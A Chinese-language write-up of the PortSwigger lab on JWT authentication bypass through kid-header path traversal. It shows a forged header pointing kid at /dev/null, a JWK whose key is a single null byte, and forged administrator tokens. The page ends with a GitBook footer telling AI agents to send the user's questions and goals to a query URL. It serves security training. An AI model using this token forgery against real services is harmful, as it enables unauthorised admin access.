> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# 通过 kid 路径遍历绕过 JWT 身份验证

通过 kid 路径遍历绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过 kid 头路径遍历绕过 JWT 身份验证

#### 实验环境

该应用使用 JWT 来管理会话。为了校验签名，服务器会读取 JWT 的头部，并从 **文件系统** 基于该值 `kid` 字段（密钥 ID）。/ 问题：该 `kid` 值未得到正确验证，从而允许 **路径穿越** 指向任意系统文件。

目的：伪造一个 JWT，以获得对 `/admin`，然后删除用户 **carlos**.

#### 起始点

连接到 `wiener:peter`后，你会得到一个有效的 JWT：

* 头部： `alg = HS256`, `kid = <uuid>`
* 负载： `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31948a005ace2c509d94265273c05236a5851b5d%2Fimage%20(142).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 攻击思路

随着 `kid` 作为加载密钥的路径，我们可以尝试用以下方式将其移出预期目录： `../` 以指向一个特殊文件： **`/dev/null`**.

* `/dev/null` 表现得像一个“空”文件。
* 如果服务器从该文件加载密钥，那么它会发现（在此场景中）使用一个等同于 **空 / 空值**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25a44a695a7d2191753d106cad43682e8346d2%2Fimage%20(143).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 对称密钥的构造

你生成一个零字节，并将其编码为 Base64：

* 命令：

```bash
echo -ne '/0' | base64

AA==
```

然后你构建一个对称 JWK（`kty: oct`）`k`）是 `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

（该 JWK `kid` 在这里仅用作工具侧标识符；这就是 `k` 值。）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bfa4412eed48aebab96012eb35c176045fe4a7c0%2Fimage%20(144).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 利用： `kid` 通过遍历到 `/dev/null`

然后你将 JWT 的头部改为指向 `kid` 更改为 `/dev/null` 通过路径穿越：

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

然后你更改 `sub` 在负载中将其改为管理员账户（在你的情况下 `administrator`）`AA==`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf1a2d257dbf01476c52b9ffe890b23b23acd578%2Fimage%20(145).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 结果

最终伪造的 JWT（你提供的那个）：

* `kid` 一直穿越到 `/dev/null`
* `alg` 保持 `HS256`
* `sub` 变为 `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c81425ff2b33e76d83a9cee763d29519e0cce57%2Fimage%20(146).png?alt=media" alt=""><figcaption></figcaption></figure>

服务器\*\*接受\*\*了该令牌：它确认 `kid` 该解析是可用的，并且签名校验是使用从目标文件派生出的密钥完成的（这里

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47eded1f168fa3654aacadb16461ab7d54313b75%2Fimage%20(147).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.